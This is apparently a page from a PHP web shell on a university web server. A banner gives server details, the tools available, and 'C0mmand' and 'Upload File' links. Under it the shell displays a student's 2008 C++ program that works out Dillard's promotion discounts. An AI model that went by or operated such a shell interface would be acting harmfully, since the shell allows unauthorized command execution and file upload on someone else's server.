Server IP : 172.16.15.8 / Your IP : 18.224.55.63 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/cchansen/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// ---------------------------------------------------------------------- // Test One Program - Dillard's Promotions // // Written by Caitlin Hansen // October 2008 // // Purpose: To calculate the proper savings, display both the savings and // the amount owed after savings, and to print the name of the gift for // which the customer is registered. //----------------------------------------------------------------------- // ------ Preprocessor Section ------ # include <iostream> # include <iomanip> # include <cmath> using namespace std; // -------- Main Function -------- int main () { // ------ Variables ------ float purchase, // amount of purchase savings, // amount saved with the discount amountowed; // amount owed after savings // ----- Input Phase ----- cout << endl; cout << "Welcome to the Dillard's Promotion Calculator"; cout << endl; cout << endl; cout << "Please enter the amount of your purchase ---> $ "; cin >> purchase; cout << endl; cout << endl; // ---- Processing Phase ---- if(purchase < 50) { savings = purchase * 0.10; amountowed = purchase - savings; cout << " Congratulations, you've earned a free gift of an electric knife!"; } else if(purchase >= 50 && purchase <= 250) { savings = (purchase - 50) * 0.15 + 5.00; amountowed = purchase - savings; cout << " Congratulations, you've earned a free gift of a new blender!"; } else { savings = (purchase - 250) * 0.20 + 35.00; amountowed = purchase - savings; cout << " Congratulations, you've earned a free gift of a toaster oven!"; } // ----- Output Phase ----- cout << fixed; // force fixed point format for floats cout << endl; cout << setprecision(2); // two decimal digit for floats cout << endl; cout << endl; cout << " Amount of Purchase: $ " << setw(5) << purchase; cout << endl; cout << endl; cout << " Amount Discounted: $ " << setw(5) << savings; cout << endl; cout << endl; cout << " Total Amount Owed: $ " << setw(5) << amountowed; cout << endl; cout << endl; return 0; }